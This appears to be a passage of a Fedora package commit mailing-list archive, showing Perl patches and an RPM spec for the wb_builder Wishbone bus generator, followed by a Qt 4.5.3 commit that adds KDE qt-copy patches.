 1 file changed, 14 insertions(+), 13 deletions(-)

--- NEW FILE wb_builder-args.patch ---
--- wishbone.pl	2009-08-30 11:36:15.520240129 +0200
+++ wishbone.pl_mod	2009-09-03 07:01:29.148541129 +0200
@@ -191,6 +191,7 @@
 };
 
 sub read_defines {
+my $arg = @ARGV;
 $priority=0;
 $masters=0;
 $slaves=0;
@@ -225,10 +226,10 @@
   if ($a =~ /^(interconnect)( *)(=)( *)(crossbarswitch|sharedbus)(;?)$/) {
     $interconnect = $5; }
 
-  if ($a =~ /^(signal_groups)( *)(=)( *)([0-1])(;?)($*)/) {
+  if ($a =~ /^(signal_groups)( *)(=)( *)([0-1])(;?)($arg)/) {
     $signal_groups = $5; };
 
-  if ($a =~ /^(use_cyc_sel)( *)(=)( *)([0-1])(;?)($*)/) {
+  if ($a =~ /^(use_cyc_sel)( *)(=)( *)([0-1])(;?)($arg)/) {
     $use_cyc_sel = $5; };
 
   if ($a =~ /^(mux_type)( *)(=)( *)(mux|andor|tristate)(;?)$/) {
@@ -237,7 +238,7 @@
   if ($a =~ /^(optimize)( *)(=)( *)(speed|area);?$/) {
     $optimize = $5; };
 
-  if ($a =~ /^(dat_size|adr_size|tgd_bits|tga_bits|tgc_bits|granularity)( *)(=)( *)([0-9]+)(;?)($*)/) {
+  if ($a =~ /^(dat_size|adr_size|tgd_bits|tga_bits|tgc_bits|granularity)( *)(=)( *)([0-9]+)(;?)($arg)/) {
     $dat_size    = $5 if $1 eq 'dat_size';
     $adr_size    = $5 if $1 eq 'adr_size';
     $tgd_bits    = $5 if $1 eq 'tgd_bits';
@@ -246,20 +247,20 @@
     $granularity = $5 if $1 eq 'granularity';
   };
 
-  if ($a =~ /^(rename)(_)(tga|tgc|tgd)( *)(=)( *)([a-zA-Z_-]+)(;?)($*)/) {
+  if ($a =~ /^(rename)(_)(tga|tgc|tgd)( *)(=)( *)([a-zA-Z_-]+)(;?)($arg)/) {
     if ($3 eq "tga"){$rename_tga=$7};
     if ($3 eq "tgc"){$rename_tgc=$7};
     if ($3 eq "tgd"){$rename_tgd=$7};
   };
 
   # master port setup
-  if ($a =~ /^(master)( *)([A-Za-z0-9_-]+)($*)/) {
+  if ($a =~ /^(master)( *)([A-Za-z0-9_-]+)($arg)/) {
     if($1 eq "master") {
       master_init($3);
     };
     $a = <FILE>;
-    until ($a =~ /^(end master)($*)/) {
-      if ($a =~ /^( *)(dat_size|adr_o_hi|adr_o_lo|lock_o|err_i|rty_i|tga_o|tgc_o|priority)( *)(=)( *)(0x)?([0-9a-fA-F]*)(;?)($*)/) {
+    until ($a =~ /^(end master)($arg)/) {
+      if ($a =~ /^( *)(dat_size|adr_o_hi|adr_o_lo|lock_o|err_i|rty_i|tga_o|tgc_o|priority)( *)(=)( *)(0x)?([0-9a-fA-F]*)(;?)($arg)/) {
         $master[$masters]{"$2"}=$7;
         if (($2 eq "rty_i") && ($7 == 1)) {
           $rty_i++; };
@@ -273,23 +274,23 @@
         if ($2 eq "priority") {
           $priority += $7; };
       }; #end if
-      if ($a =~ /^( *)(type)( *)(=)( *)(ro|wo|rw)(;?)($*)/) {
+      if ($a =~ /^( *)(type)( *)(=)( *)(ro|wo|rw)(;?)($arg)/) {
         $master[$masters]{"$2"}=$6; };
       # priority for crossbarswitch
-      if ($a =~ /^( *)(priority)(_)([0-9a-zA-Z_]*)( *)(=)( *)([0-9]*)(;?)($*)/) {
+      if ($a =~ /^( *)(priority)(_)([0-9a-zA-Z_]*)( *)(=)( *)([0-9]*)(;?)($arg)/) {
         $master[$masters]{("priority_"."$4")}=$8; };
       $a = <FILE>;
     };
   };
 
   # slave port setup
-  if ($a =~ /^(slave)( *)([A-Za-z0-9_-]+)($*)/) {
+  if ($a =~ /^(slave)( *)([A-Za-z0-9_-]+)($arg)/) {
     if ($1 eq "slave") {
       slave_init($3);
     };
     $a = <FILE>;
-    until ($a =~ /^(end slave)($*)/) {
-      if ($a =~ /^( *)(dat_i|dat_o|sel_i|adr_i_hi|adr_i_lo|lock_i|tga_i|tgc_i|err_o|rty_o|baseadr|size|baseadr1|size1|baseadr2|size2|baseadr3|size3|cyc_i)( *)(=)( *)(0x)?([0-9a-fA-F]+)(;?)($*)/) {
+    until ($a =~ /^(end slave)($arg)/) {
+      if ($a =~ /^( *)(dat_i|dat_o|sel_i|adr_i_hi|adr_i_lo|lock_i|tga_i|tgc_i|err_o|rty_o|baseadr|size|baseadr1|size1|baseadr2|size2|baseadr3|size3|cyc_i)( *)(=)( *)(0x)?([0-9a-fA-F]+)(;?)($arg)/) {
         $slave[$slaves]{"$2"}=$7;
         if (($2 eq "rty_o") && ($7 == 1)) {
           $rty_o++; };
@@ -300,7 +301,7 @@
         if (($2 eq "tga_i") && ($7 == 1)) {
           $tga_i++; };
       }; #end if
-      if ($a =~ /^( *)(type)( *)(=)( *)(ro|wo|rw)(;?)($*)/) {
+      if ($a =~ /^( *)(type)( *)(=)( *)(ro|wo|rw)(;?)($arg)/) {
         $slave[$slaves]{"$2"}=$6; };
       $a = <FILE>;
     };

wb_builder-strict-warnings.patch:
 wishbone.pl |   44 +++++++++++++++++++++++++++++++++-----------
 1 file changed, 33 insertions(+), 11 deletions(-)

--- NEW FILE wb_builder-strict-warnings.patch ---
--- wishbone.pl~	2006-11-28 01:22:43.000000000 +0530
+++ wishbone.pl	2009-08-29 22:32:53.684609104 +0530
@@ -66,21 +66,24 @@
 use Time::Local;
 use Getopt::Long;
 
+use strict;
+use warnings;
+
 # description: users manual
 
 my $version='1.0.3';
 my $infile = "wishbone.defines";
-my $outfile = wb;
+my $outfile = "wb";
 
 my $a;
 my $i=0;
 my $j=0;
 
 # default settings
-my $syscon=syscon;
-my $intercon=intercon;
+my $syscon="syscon";
+my $intercon="intercon";
 my $target="generic";
-my $hdl=vhdl;
+my $hdl="vhdl";
 my $ext=".vhd";
 my $signal_groups=0;
 my $comment="--";
@@ -121,7 +124,24 @@
 my $amp=0;
 my $asp=0;
 my $del=0;
-my $i;
+#my $i;
+
+my @master;
+my @slave;
+my $frame;
+my $c;
+my $am;
+my $ind;
+my $tmp;
+my $depend;
+my $l;
+my $only_master;
+my $k;
+my $noGUI;
+my $genHeader;
+my $help;
+my $file = "";
+my $tmp1;
 
 # open input file
 #if (open(FILE,"<$file")) {
@@ -804,7 +824,8 @@
 };
 
 sub generate_defines {
-  open(OUTFILE,"> $_[0]") or die "could not open $infile for writing";
+  $infile = $_[0];
+  open(OUTFILE,">$infile") or die "could not open $infile for writing";
   printf OUTFILE "# Generated by PERL program wishbone.pl.\n";
   printf OUTFILE "# File used as input for wishbone arbiter generation\n";
   $tmp=localtime(time);
@@ -884,13 +905,13 @@
   printf OUTFILE "%s\n%s Wishbone slaves:\n",$comment,$comment;
   for ($i=1; $i <= $slaves; $i++) {
     printf OUTFILE "%s   %s\n",$comment,$slave[$i]{"wbs"};
-    if ($slave[$i]{"size"} ne ffffffff) {
+    if ($slave[$i]{"size"} ne "ffffffff") {
       printf OUTFILE "%s     baseadr 0x%s - size 0x%s\n",$comment,$slave[$i]{"baseadr"},$slave[$i]{"size"}};
-    if ($slave[$i]{"size1"} ne ffffffff) {
+    if ($slave[$i]{"size1"} ne "ffffffff") {
       printf OUTFILE "%s     baseadr 0x%s - size 0x%s\n",$comment,$slave[$i]{"baseadr1"},$slave[$i]{"size1"}};
-    if ($slave[$i]{"size2"} ne ffffffff) {
+    if ($slave[$i]{"size2"} ne "ffffffff") {
       printf OUTFILE "%s     baseadr 0x%s - size 0x%s\n",$comment,$slave[$i]{"baseadr2"},$slave[$i]{"size2"}};
-    if ($slave[$i]{"size3"} ne ffffffff) {
+    if ($slave[$i]{"size3"} ne "ffffffff") {
       printf OUTFILE "%s     baseadr 0x%s - size 0x%s\n",$comment,$slave[$i]{"baseadr3"},$slave[$i]{"size3"}};
   };
   print OUTFILE "$comment---------------------------------------------------------------------------------------\n";
@@ -1933,7 +1954,8 @@
 
 sub gen_optional{
     my ($sig_name,$n_o,$n_i)=@_;
-    my $i,$j;
+    my $i; 
+    my $j;
 
     return if ($n_o == 0) && ($n_i == 0);
     print OUTFILE "      -- $sig_name Slave -> Master [Optional]\n";


--- NEW FILE wb_builder.spec ---
Name:           wb_builder
Version:        1.0.3
Release:        2%{?dist}
Summary:        Wishbone Bus Builder

Group:          Applications/Engineering
License:        GPLv2
URL:            http://sourceforge.net/projects/fpgalibre/
Source0:        http://download.sourceforge.net/sourceforge/fpgalibre/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

# fixes some Perl strict warnings and errors
Patch0:         wb_builder-strict-warnings.patch
Patch1:         wb_builder-args.patch

BuildArch:      noarch

%description
This package includes a HDL generator from a text description or via
GUI input for the Wishbone Bus.

The Wishbone Bus is an open source hardware computer bus intended
to let the parts of an integrated circuit communicate with each other.
The aim is to allow the connection of differing cores to each other
inside of a chip. The Wishbone Bus is used by many designs in the
OpenCores project.

%prep
%setup -q

%patch0 -p0 -b .perl-warnings
%patch1 -p0 -b .perl-args

# ---- Filtering Requires: ----
# In the perl script, "use IEEE.std_logic_1164.all" is meant
# to generate VHDL code and not for Perl

cat << \EOF > %{name}-req
#!/bin/sh
%{__perl_requires} $* |\
sed -e '/perl(IEEE.std_logic_1164.all)/d'
EOF

%global __perl_requires %{_builddir}/%{name}-%{version}/%{name}-req
chmod +x %{__perl_requires}
# ------------------------------------------


#fixing rpmlint warnings: file-not-utf8
for f in LEEME.txt README.txt ;
do
    iconv -f iso8859-1 -t utf-8 $f > $f.conv 
    mv -f $f.conv $f
done


%build


%install
%{__rm} -rf %{buildroot}

install -d %{buildroot}%{_bindir}
install -pm 0755 wishbone.pl %{buildroot}%{_bindir}/wishbonebuilder



%clean
%{__rm} -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc LEEME.txt LICENSE README.txt users_manual.pdf
%{_bindir}/wishbonebuilder


%changelog
* Sun Aug 30 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.0.3-2
- Added patch from Shakthi Kannan
- Patched broken arguments

* Sat Apr 25 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.0.3-1
- Initial Package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/wb_builder/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 21:28:58 -0000	1.1
+++ .cvsignore	10 Oct 2009 20:06:41 -0000	1.2
@@ -0,0 +1 @@
+wb_builder-1.0.3.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/wb_builder/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 21:28:58 -0000	1.1
+++ sources	10 Oct 2009 20:06:41 -0000	1.2
@@ -0,0 +1 @@
+9bad12675121a7d09467ad847b79b539  wb_builder-1.0.3.tar.gz



From rdieter at fedoraproject.org  Sat Oct 10 20:14:41 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 10 Oct 2009 20:14:41 +0000 (UTC)
Subject: rpms/qt/F-12
	0001-This-patch-uses-object-name-as-a-fallback-for-window.patch, NONE,
	1.1 0002-This-patch-makes-override-redirect-windows-popup-me.patch,
	NONE,
	1.1 0003-This-patch-changes-QObjectPrivateVersion-thus-preve.patch,
	NONE,
	1.1 0004-This-patch-adds-support-for-using-isystem-to-allow.patch,
	NONE, 1.1 0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch, 
	NONE,
	1.1 0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch, 
	NONE,
	1.1 0007-When-using-qmake-outside-qt-src-tree-it-sometimes-g.patch,
	NONE, 1.1 0008-In-a-treeview-with-columns-like-this.patch, NONE,
	1.1 0009-This-patch-fixes-deserialization-of-values-with-cust.patch, 
	NONE, 1.1 0010-Import-README.qt-copy-from-the-original-qt-copy.patch, 
	NONE,
	1.1 0011-Update-this-file-to-reflect-the-workflow-with-Git-a.patch,
	NONE, 1.1 0015-Make-QMenu-respect-the-minimum-width-set.patch, NONE, 
	1.1 0016-Fill-gap-of-X.org-XFree-multimedia-special-launcher.patch,
	NONE, 1.1 0017-Add-context-to-tr-calls-in-QShortcut.patch, NONE,
	1.1 0274-shm-native-image-fix.patch, NONE, 1.1 kde-qt-patches.sh,
	NONE, 1.1 qt-x11-opensource-src-4.5.3-system_ca_certificates.patch,
	NONE, 1.1 .cvsignore, 1.62, 1.63 qt.spec, 1.335, 1.336 sources,
	1.64, 1.65 kde-qt-patches-20090820git.patch, 1.1,
	NONE qt-copy-patches-svn_checkout.sh, 1.6,
	NONE qt-x11-opensource-src-4.5.2-CVE-2009-1725.patch, 1.1,
	NONE qt-x11-opensource-src-4.5.2-CVE-2009-2700.patch, 1.1,
	NONE qt-x11-opensource-src-4.5.2-fix-webkit-drag-crash.patch,
	1.1, NONE qt-x11-opensource-src-4.5.2-ossl10.patch, 1.4,
	NONE qt-x11-opensource-src-4.5.2-system_ca_certificates.patch,
	1.2, NONE qt-x11-opensource-src-4.5.2-timestamp.patch, 1.1, NONE
Message-ID: <20091010201441.7B90211C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9581

Modified Files:
	.cvsignore qt.spec sources 
Added Files:
	0001-This-patch-uses-object-name-as-a-fallback-for-window.patch 
	0002-This-patch-makes-override-redirect-windows-popup-me.patch 
	0003-This-patch-changes-QObjectPrivateVersion-thus-preve.patch 
	0004-This-patch-adds-support-for-using-isystem-to-allow.patch 
	0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch 
	0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch 
	0007-When-using-qmake-outside-qt-src-tree-it-sometimes-g.patch 
	0008-In-a-treeview-with-columns-like-this.patch 
	0009-This-patch-fixes-deserialization-of-values-with-cust.patch 
	0010-Import-README.qt-copy-from-the-original-qt-copy.patch 
	0011-Update-this-file-to-reflect-the-workflow-with-Git-a.patch 
	0015-Make-QMenu-respect-the-minimum-width-set.patch 
	0016-Fill-gap-of-X.org-XFree-multimedia-special-launcher.patch 
	0017-Add-context-to-tr-calls-in-QShortcut.patch 
	0274-shm-native-image-fix.patch kde-qt-patches.sh 
	qt-x11-opensource-src-4.5.3-system_ca_certificates.patch 
Removed Files:
	kde-qt-patches-20090820git.patch 
	qt-copy-patches-svn_checkout.sh 
	qt-x11-opensource-src-4.5.2-CVE-2009-1725.patch 
	qt-x11-opensource-src-4.5.2-CVE-2009-2700.patch 
	qt-x11-opensource-src-4.5.2-fix-webkit-drag-crash.patch 
	qt-x11-opensource-src-4.5.2-ossl10.patch 
	qt-x11-opensource-src-4.5.2-system_ca_certificates.patch 
	qt-x11-opensource-src-4.5.2-timestamp.patch 
Log Message:
sync w/devel branch (for 4.5.3)


0001-This-patch-uses-object-name-as-a-fallback-for-window.patch:
 corelib/kernel/qobject.cpp |    8 ++++++++
 corelib/kernel/qobject_p.h |    3 +++
 gui/kernel/qwidget_p.h     |    1 +
 gui/kernel/qwidget_x11.cpp |   28 +++++++++++++++++++++-------
 4 files changed, 33 insertions(+), 7 deletions(-)

--- NEW FILE 0001-This-patch-uses-object-name-as-a-fallback-for-window.patch ---
>From b48e2091871516496cf0b133249fbf5326a55831 Mon Sep 17 00:00:00 2001
From: Lubos Lunak <l.lunak at kde.org>
Date: Sat, 23 Feb 2008 16:44:52 +0100
Subject: [PATCH 01/18] This patch uses object name as a fallback for window role if no window
 role is set explicitly using setWindowRole(). Since Qt3 always used
 the object name as the window role and most Qt3/KDE3 code is ported to
 call setObjectName(),

this makes the window role set in many cases (which KWin uses for window identifying).

NOTE: It is suggested to apply patch #0209 as well when this patch is used.

qt-bugs@ issue : 167704
Trolltech task ID : 168283 (status: "fixed" for Qt 4.4.0, but effectively refused)
---
 src/corelib/kernel/qobject.cpp |    8 ++++++++
 src/corelib/kernel/qobject_p.h |    3 +++
 src/gui/kernel/qwidget_p.h     |    1 +
 src/gui/kernel/qwidget_x11.cpp |   27 +++++++++++++++++++++------
 4 files changed, 33 insertions(+), 6 deletions(-)

diff --git a/src/corelib/kernel/qobject.cpp b/src/corelib/kernel/qobject.cpp
index 6487194..ef0369e 100644
--- a/src/corelib/kernel/qobject.cpp
+++ b/src/corelib/kernel/qobject.cpp
@@ -993,8 +993,16 @@ void QObject::setObjectName(const QString &name)
 {
     Q_D(QObject);
     d->objectName = name;
+#if defined(Q_WS_X11)
+    d->checkWindowRole();
+#endif
 }
 
+#if defined(Q_WS_X11)
+void QObjectPrivate::checkWindowRole()
+{
+}
+#endif
 
 #ifdef QT3_SUPPORT
 /*! \internal
diff --git a/src/corelib/kernel/qobject_p.h b/src/corelib/kernel/qobject_p.h
index 0bcccba..6ab9e10 100644
--- a/src/corelib/kernel/qobject_p.h
+++ b/src/corelib/kernel/qobject_p.h
@@ -144,6 +144,9 @@ public:
     mutable quint32 connectedSignals;
 
     QString objectName;
+#if defined(Q_WS_X11)
+    virtual void checkWindowRole();
+#endif
 
     // Note: you must hold the signalSlotLock() before accessing the lists below or calling the functions
     struct Connection
diff --git a/src/gui/kernel/qwidget_p.h b/src/gui/kernel/qwidget_p.h
index 774e390..176d6fa 100644
--- a/src/gui/kernel/qwidget_p.h
+++ b/src/gui/kernel/qwidget_p.h
@@ -358,6 +358,7 @@ public:
 
 #if defined(Q_WS_X11)
     void setWindowRole();
+    virtual void checkWindowRole();
     void sendStartupMessage(const char *message) const;
     void setNetWmWindowTypes();
     void x11UpdateIsOpaque();
diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp
index 79ee8c9..b56849c 100644
--- a/src/gui/kernel/qwidget_x11.cpp
+++ b/src/gui/kernel/qwidget_x11.cpp
@@ -778,13 +778,17 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
         data.fstrut_dirty = 1;
 
         // declare the widget's window role
+        QByteArray windowRole;
         if (QTLWExtra *topData = maybeTopData()) {
-            if (!topData->role.isEmpty()) {
-                QByteArray windowRole = topData->role.toUtf8();
-                XChangeProperty(dpy, id,
-                                ATOM(WM_WINDOW_ROLE), XA_STRING, 8, PropModeReplace,
-                                (unsigned char *)windowRole.constData(), windowRole.length());
-            }
+            if (!topData->role.isEmpty())
+                windowRole = topData->role.toUtf8();
+        }
+        if (windowRole.isEmpty()) // use object name as a fallback
+            windowRole = objectName.toUtf8();
+        if (!windowRole.isEmpty()) {
+            XChangeProperty(dpy, id,
+                            ATOM(WM_WINDOW_ROLE), XA_STRING, 8, PropModeReplace,
+                            (unsigned char *)windowRole.constData(), windowRole.length());
         }
 
         // set client leader property
@@ -2768,6 +2772,17 @@ void QWidgetPrivate::setWindowRole()
                     (unsigned char *)windowRole.constData(), windowRole.length());
 }
 
+void QWidgetPrivate::checkWindowRole()
+{
+    Q_Q(QWidget);
+    if( !q->windowRole().isEmpty() || !q->internalWinId())
+        return;
+    QByteArray windowRole = objectName.toUtf8(); // use as a fallback
+    XChangeProperty(X11->display, q->internalWinId(),
+                    ATOM(WM_WINDOW_ROLE), XA_STRING, 8, PropModeReplace,
+                    (unsigned char *)windowRole.constData(), windowRole.length());
+}
+
 Q_GLOBAL_STATIC(QX11PaintEngine, qt_widget_paintengine)
 QPaintEngine *QWidget::paintEngine() const
 {
-- 
1.6.2.5


0002-This-patch-makes-override-redirect-windows-popup-me.patch:
 qwidget_x11.cpp |   22 +++++++++++++++-------
 1 file changed, 15 insertions(+), 7 deletions(-)

--- NEW FILE 0002-This-patch-makes-override-redirect-windows-popup-me.patch ---
>From 339e220e29ff39b86705438b4be6f90e5618d27b Mon Sep 17 00:00:00 2001
From: Lubos Lunak <l.lunak at kde.org>
Date: Tue, 2 Oct 2007 16:08:32 +0200
Subject: [PATCH 02/18] This patch makes override-redirect windows (popup menu, dropdown menu,
 tooltip, combobox, etc.) also have more window properties like WM_CLASS,
 so they can be used when compositing.

qt-bugs@ issue : none
bugs.kde.org number : none
---
 src/gui/kernel/qwidget_x11.cpp |   21 +++++++++++++++------
 1 files changed, 15 insertions(+), 6 deletions(-)

diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp
index 79ee8c9..a74a849 100644
--- a/src/gui/kernel/qwidget_x11.cpp
+++ b/src/gui/kernel/qwidget_x11.cpp
@@ -719,6 +719,11 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
         Q_ASSERT(id);
         XChangeWindowAttributes(dpy, id, CWOverrideRedirect | CWSaveUnder,
                                 &wsa);
+        XClassHint class_hint;
+        QByteArray appName = qAppName().toLatin1();
+        class_hint.res_name = appName.data(); // application name
+        class_hint.res_class = const_cast<char *>(QX11Info::appClass());   // application class
+        XSetWMProperties(dpy, id, 0, 0, 0, 0, 0, 0, &class_hint);
     } else if (topLevel && !desktop) {        // top-level widget
         if (!X11->wm_client_leader)
             create_wm_client_leader();
@@ -769,13 +774,21 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
         // set EWMH window types
         setNetWmWindowTypes();
 
+        // when we create a toplevel widget, the frame strut should be dirty
+        data.fstrut_dirty = 1;
+
+    } else {
+        // non-toplevel widgets don't have a frame, so no need to
+        // update the strut
+        data.fstrut_dirty = 0;
+    }
+
+    if (initializeWindow && (popup || (topLevel && !desktop))) { // properties set on all toplevel windows
         // set _NET_WM_PID
         long curr_pid = getpid();
         XChangeProperty(dpy, id, ATOM(_NET_WM_PID), XA_CARDINAL, 32, PropModeReplace,
                         (unsigned char *) &curr_pid, 1);
 
-        // when we create a toplevel widget, the frame strut should be dirty
-        data.fstrut_dirty = 1;
 
         // declare the widget's window role
         if (QTLWExtra *topData = maybeTopData()) {
@@ -791,10 +804,6 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
         XChangeProperty(dpy, id, ATOM(WM_CLIENT_LEADER),
                         XA_WINDOW, 32, PropModeReplace,
                         (unsigned char *)&X11->wm_client_leader, 1);
-    } else {
-        // non-toplevel widgets don't have a frame, so no need to
-        // update the strut
-        data.fstrut_dirty = 0;
     }
 
     if (initializeWindow && q->internalWinId()) {
-- 
1.6.2.5


0003-This-patch-changes-QObjectPrivateVersion-thus-preve.patch:
 qobject_p.h |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

--- NEW FILE 0003-This-patch-changes-QObjectPrivateVersion-thus-preve.patch ---
>From 68eaa07de69e873b89d4aba341c6ed1ca81f6819 Mon Sep 17 00:00:00 2001
From: Lubos Lunak <l.lunak at kde.org>
Date: Wed, 30 Jan 2008 14:24:01 +0100
Subject: [PATCH 03/18] This patch changes QObjectPrivateVersion, thus preventing mixing
 parts of upstream Qt and qt-copy. In general it is a bad idea to mix
 e.g. libQtCore from one build and libQtGui from another one, and other
 qt-copy patches could make changes in Qt internal structures that could
 cause problems when mixed with upstream Qt.

This patch does not make qt-copy binary incompatible with upstream Qt.
It only further enforces using the same sources for the whole Qt build.

qt-bugs@ issue : none
Trolltech task ID : none
bugs.kde.org number : none
---
 src/corelib/kernel/qobject_p.h |    4 +++-
 1 files changed, 3 insertions(+), 1 deletions(-)

diff --git a/src/corelib/kernel/qobject_p.h b/src/corelib/kernel/qobject_p.h
index 0bcccba..88192fd 100644
--- a/src/corelib/kernel/qobject_p.h
+++ b/src/corelib/kernel/qobject_p.h
@@ -83,7 +83,9 @@ extern QSignalSpyCallbackSet Q_CORE_EXPORT qt_signal_spy_callback_set;
 
 inline QObjectData::~QObjectData() {}
 
-enum { QObjectPrivateVersion = QT_VERSION };
+// add 0x1000000 to mark it as qt-copy version, with possible modifications
+// in some Q*Private class
+enum { QObjectPrivateVersion = QT_VERSION + 0x1000000 };
 
 class Q_CORE_EXPORT QObjectPrivate : public QObjectData
 {
-- 
1.6.2.5


0004-This-patch-adds-support-for-using-isystem-to-allow.patch:
 configure |    9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

--- NEW FILE 0004-This-patch-adds-support-for-using-isystem-to-allow.patch ---
>From 86fc0d43cdcf3232ae0e4e6f4f28cf8f1a45ede5 Mon Sep 17 00:00:00 2001
From: Benjamin Reed <rangerrick at befunk.com>
Date: Tue, 19 Feb 2008 17:37:37 +0100
Subject: [PATCH 04/18] This patch adds support for using -isystem to allow putting an include
 directory at the end of the compiler's header search path.

I don't have the exact output anymore (I've since patched Qt's configure) but
essentially, since I have pcre.h in /opt/kde4-deps/include, it was
conflicting with Qt's (modified) pcre.h in the WebKit bits, since
-I /opt/kde4-deps/include ends up in CXXFLAGS in the generated makefiles, it
comes *before* the specific locations in INCPATH on the compile line, and you
end up with a conflict with the system-installed pcre.h.

Presumably, if your pcre.h is in /usr/include as on most Linux systems, you
wouldn't notice this issue since /usr/include's already in your include path
and people likely don't pass -I /usr/include to configure.  I suspect that on
any platform with a regular, system-installed pcre.h (or clucene headers),
adding -I /usr/include would exhibit this bug, just as a custom-installed
pcre/clucene in another root would.

qt-bugs@ issue : 199610
Trolltech task ID :
bugs.kde.org number :
---
 configure |    8 ++++++++
 1 files changed, 8 insertions(+), 0 deletions(-)

diff --git a/configure b/configure
index 2c108ad..610a201 100755
--- a/configure
+++ b/configure
@@ -927,6 +927,11 @@ while [ "$#" -gt 0 ]; do
             VAL=`echo $1 | sed 's,-D,,'`
         fi
         ;;
+    -isystem)
+        VAR="add_isystempath"
+        shift
+        VAL="$1"
+        ;;
     -I?*|-I)
         VAR="add_ipath"
         if [ "$1" = "-I" ]; then
@@ -1890,6 +1895,9 @@ while [ "$#" -gt 0 ]; do
     add_ipath)
         I_FLAGS="$I_FLAGS -I\"${VAL}\""
         ;;
+    add_isystempath)
+        I_FLAGS="$I_FLAGS -isystem \"${VAL}\""
+        ;;
     add_lpath)
         L_FLAGS="$L_FLAGS -L\"${VAL}\""
         ;;
-- 
1.6.2.5


0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch:
 qtabbar.cpp |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch ---
>From 733d1afd03908d695aa8a6518f453b9ff0e5b8a2 Mon Sep 17 00:00:00 2001
From: Robert Knight <robertknight at gmail.com>
Date: Sun, 20 Apr 2008 16:28:31 +0200
Subject: [PATCH 05/18] When tabs are inserted or removed in a QTabBar,
 QTabBarPrivate::refresh() is called to update the layout.  If the
 tabbar widget is hidden, this just sets a boolean variable
 (layoutDirty) and returns, so the parent widget's layout is not
 notified about the possible geometry change.

Prior to Qt 4.4 this was not a problem because the geometry was
recalculated in QTabBar::sizeHint() if the layoutDirty variable was
set.  In Qt 4.4 however the layout caches size hint information in
QWidgetItemV2.  Since the cache information is not invalidated, the
layout may end up using out-of-date size hint information to compute
the widget size.

If the QTabBar is empty when QTabBar::sizeHint() is called, it will
return a size with a height of 0, which will be kept in the cache and
so the tab bar will never be shown.

This patch fixes the problem by calling updateGeometry() whenever the
tab bar's layout is refreshed.

qt-bugs@ issue : 208185
Trolltech task ID : 208349
bugs.kde.org number : 159014
---
 src/gui/widgets/qtabbar.cpp |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/gui/widgets/qtabbar.cpp b/src/gui/widgets/qtabbar.cpp
index 419d456..41107a0 100644
--- a/src/gui/widgets/qtabbar.cpp
+++ b/src/gui/widgets/qtabbar.cpp
@@ -678,8 +678,8 @@ void QTabBarPrivate::refresh()
         layoutTabs();
         makeVisible(currentIndex);
         q->update();
-        q->updateGeometry();
     }
+    q->updateGeometry();
 }
 
 /*!
-- 
1.6.2.5


0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch:
 bin/syncqt             |    6 +++++-
 projects.pro           |    3 +++
 src/tools/moc/main.cpp |    7 ++++++-
 3 files changed, 14 insertions(+), 2 deletions(-)

--- NEW FILE 0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch ---
>From 8e28e0603a900e1b18ebfd14c4f87b16dabf4cf6 Mon Sep 17 00:00:00 2001
From: Christian Ehrlicher <ch.ehrlicher at gmx.de>
Date: Fri, 19 Sep 2008 17:41:26 +0200
Subject: [PATCH 06/18] Fix configure.exe to do an out-of-source build on windows

qt-bugs@ issue : N227213
Trolltech task ID : none yet
---
 bin/syncqt             |    6 +++++-
 projects.pro           |    3 +++
 src/tools/moc/main.cpp |    6 ++++++
 3 files changed, 14 insertions(+), 1 deletions(-)

diff --git a/bin/syncqt b/bin/syncqt
index 7a9f1d3..b5a8e1c 100755
--- a/bin/syncqt
+++ b/bin/syncqt
@@ -365,9 +365,13 @@ sub fixPaths {
         $match_dir = $tmp;
         $i = $slash;
     }
+    my $cnt_ofs = 0;
+    if($match_dir =~ /^[a-zA-Z]:$/) {
+      $cnt_ofs = 1;
+    }
     if($match_dir) {
         my $after = substr($dir, length($match_dir));
-        my $count = ($after =~ tr,/,,);
+        my $count = ($after =~ tr,/,,) - $cnt_ofs;
         my $dots = "";
         for(my $i = 0; $i < $count; $i++) {
             $dots .= "../";
diff --git a/projects.pro b/projects.pro
index 2596c0a..3ba0688 100644
--- a/projects.pro
+++ b/projects.pro
@@ -127,6 +127,9 @@ unix {
    DEFAULT_QMAKESPEC ~= s,^.*mkspecs/,,g
    mkspecs.commands += $(DEL_FILE) $(INSTALL_ROOT)$$mkspecs.path/default; $(SYMLINK) $$DEFAULT_QMAKESPEC $(INSTALL_ROOT)$$mkspecs.path/default
 }
+win32 {
+   mkspecs.files += $$QT_BUILD_TREE/mkspecs/default
+}
